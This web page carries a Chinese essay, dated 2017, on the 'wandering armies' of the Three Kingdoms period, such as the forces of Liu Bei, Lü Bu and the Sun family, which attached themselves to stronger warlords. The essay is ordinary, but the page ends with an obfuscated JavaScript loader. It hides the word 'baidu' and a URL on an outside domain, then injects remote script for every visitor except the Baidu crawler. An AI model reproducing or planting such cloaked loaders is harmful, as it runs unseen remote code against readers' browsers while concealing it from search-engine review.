當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

三國的神秘武裝不爆發(fā)就滅亡 劉備曾是其中一員

2017-04-28 23:31:31  來源:360常識網(wǎng)   熱度:
導(dǎo)語:是光榮公司告訴我了“流浪軍”這個說法,其他地方實在沒看見過,不過覺得說的還有道理,在此總結(jié)下三國時期的流浪軍。 分析光榮公司的對流

是光榮公司告訴我了“流浪軍”這個說法,其他地方實在沒看見過,不過覺得說的還有道理,在此總結(jié)下三國時期的流浪軍。

分析光榮公司的對流浪軍的定義,應(yīng)該是某些有某種獨(dú)立結(jié)構(gòu)但暫時依附比他更強(qiáng)大的勢力的軍事集團(tuán),這種集團(tuán)相對穩(wěn)定,并且隨時可能脫離所依附的集團(tuán)到另外的集團(tuán)受庇護(hù),或者找到機(jī)會就獨(dú)立出來。

三國時期的很多勢力其實都有作為流浪軍的歷史。劉備是三國時代流浪軍的典型代表,除開青年時代的幾任縣官不算,先后依附過公孫瓚、陶謙、呂布、曹操、袁紹、劉表,一定程度上可以說依附過田楷和孫權(quán),可以說東漢末年的有名點(diǎn)的大軍閥劉備基本上都有過接觸。

曹操其實也有流浪軍的歷史,至少他曾經(jīng)短時間依附過袁紹。孫堅孫策父子曾先后依附袁術(shù)多年,直到孫策占領(lǐng)江東才完全脫離出來。呂布跟隨丁原、董卓的時候不能算是流浪軍,因為他沒有形成自己相對獨(dú)立的團(tuán)體,和王允共同把持朝政的時候也不該算獨(dú)立的勢力,但他被趕出長安后,先后依附袁紹、張楊、張邈、劉備,這時候他已經(jīng)形成了自己獨(dú)立的力量體系,應(yīng)該算是流浪軍了。

馬騰馬超的西涼軍雖然處于曹操的監(jiān)控下,但因為西涼遙遠(yuǎn),我不認(rèn)為能構(gòu)成流浪軍的條件,基本上應(yīng)該認(rèn)為是一股獨(dú)立的勢力,等到馬超被趕離西涼,去張魯和劉備手下做事的時候,基本上也構(gòu)成了流浪軍的條件,及相對獨(dú)立。張繡在宛也符合流浪軍的條件。臧霸是不是符合這樣的條件呢?應(yīng)該也是吧,從他和劉備、呂布、曹操的關(guān)系中有反映。

其實流浪軍的一個最大的特點(diǎn)就是獨(dú)立性。這個獨(dú)立性表現(xiàn)在集團(tuán)的領(lǐng)導(dǎo)人如劉備呂布等人的不甘人下,表現(xiàn)在手下人對集團(tuán)領(lǐng)導(dǎo)的心理認(rèn)同。當(dāng)劉備跟隨公孫瓚的時候,名義上他和他手下的所有人的領(lǐng)導(dǎo)應(yīng)該是公孫瓚,但估計誰也不會相信劉備手下的如關(guān)羽張飛之流會繞開劉備向公孫瓚效忠,甚至連田豫都不會。

同樣的道理,馬超雖然投靠了劉備,但他的手下如馬岱吳蘭等人會繞開馬超向劉備效忠嗎?應(yīng)該不會,如果馬超有脾氣說聲“兄弟們,我們走咯!”估計這群人立刻就跟著走了。

檢視這群三國間的流浪軍還可以知道,流浪軍的頭領(lǐng)都是些有能力的人,他們中的很多人是不甘人下的。如劉備、如呂布、如孫堅父子、曹操等,他們一方面有相當(dāng)?shù)牟鸥桑袝r候甚至比他們依附的勢力的領(lǐng)導(dǎo)人明顯優(yōu)秀。另一方面他們都有大志,想在亂世中開創(chuàng)出一片新天地。同時要構(gòu)成流浪軍還需要這支隊伍曾經(jīng)有一段時間的獨(dú)立期,或者領(lǐng)導(dǎo)人負(fù)有盛名。

馬超曾經(jīng)在雍涼一帶稱王稱霸,張繡的隊伍繼承于他叔父的部隊張濟(jì),孫堅在投向袁術(shù)之前是長沙太守。這個獨(dú)立期是形成流浪軍向心力的關(guān)鍵,為流浪軍積累著核心的力量,無論隊伍怎么改變都不能導(dǎo)致團(tuán)體的解體。像劉備的核心力量關(guān)張趙,孫堅的核心力量程普韓當(dāng)黃蓋等,他們和流浪軍的領(lǐng)袖已經(jīng)利益一體,榮辱與共。

流浪軍的命運(yùn)各不相同,和他們的能力及戰(zhàn)略方向是相關(guān)的。劉備雖然屢次被打得惶惶然如喪家之犬,但他和他的兄弟們都擁有常人不及的能力,而且他們堅決選擇獨(dú)立,只要一有機(jī)會就獨(dú)立,沒有機(jī)會就隱忍,所以最后能成大業(yè)。

張繡本人只能算一比較優(yōu)秀的戰(zhàn)將,最終選擇消失在曹操陣營中還是不錯的選擇,他實在沒有王霸之氣。馬超和張繡相比可能武功要多一些,但他仍然是不王霸之才,最后也只好接受劉備的節(jié)制。孫策如果不是選擇脫離袁術(shù)去江東發(fā)展,估計也不會有孫氏后來在江東的80余年的江山。

流浪軍對三國歷史的影響無疑是巨大的,從我們列舉的這些在三國時期響當(dāng)當(dāng)?shù)拿志涂梢钥闯?,他們的動向如何往往關(guān)系著一個時期力量的對比。流浪軍的存在是因為漢朝末年的大動蕩,群雄都需要英雄人物幫助自己打江山(比如袁術(shù)利用孫堅),同時怕?lián)?dāng)害賢之名(如袁紹曹操不害劉備)。當(dāng)然最后隨著三國的逐漸穩(wěn)定,流浪軍逐漸失去了存在的空間。沒有了群雄逐鹿,三國的領(lǐng)導(dǎo)人是不會允許流浪軍的存在的,那只會給自己增加麻煩,誰那么傻呢?

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}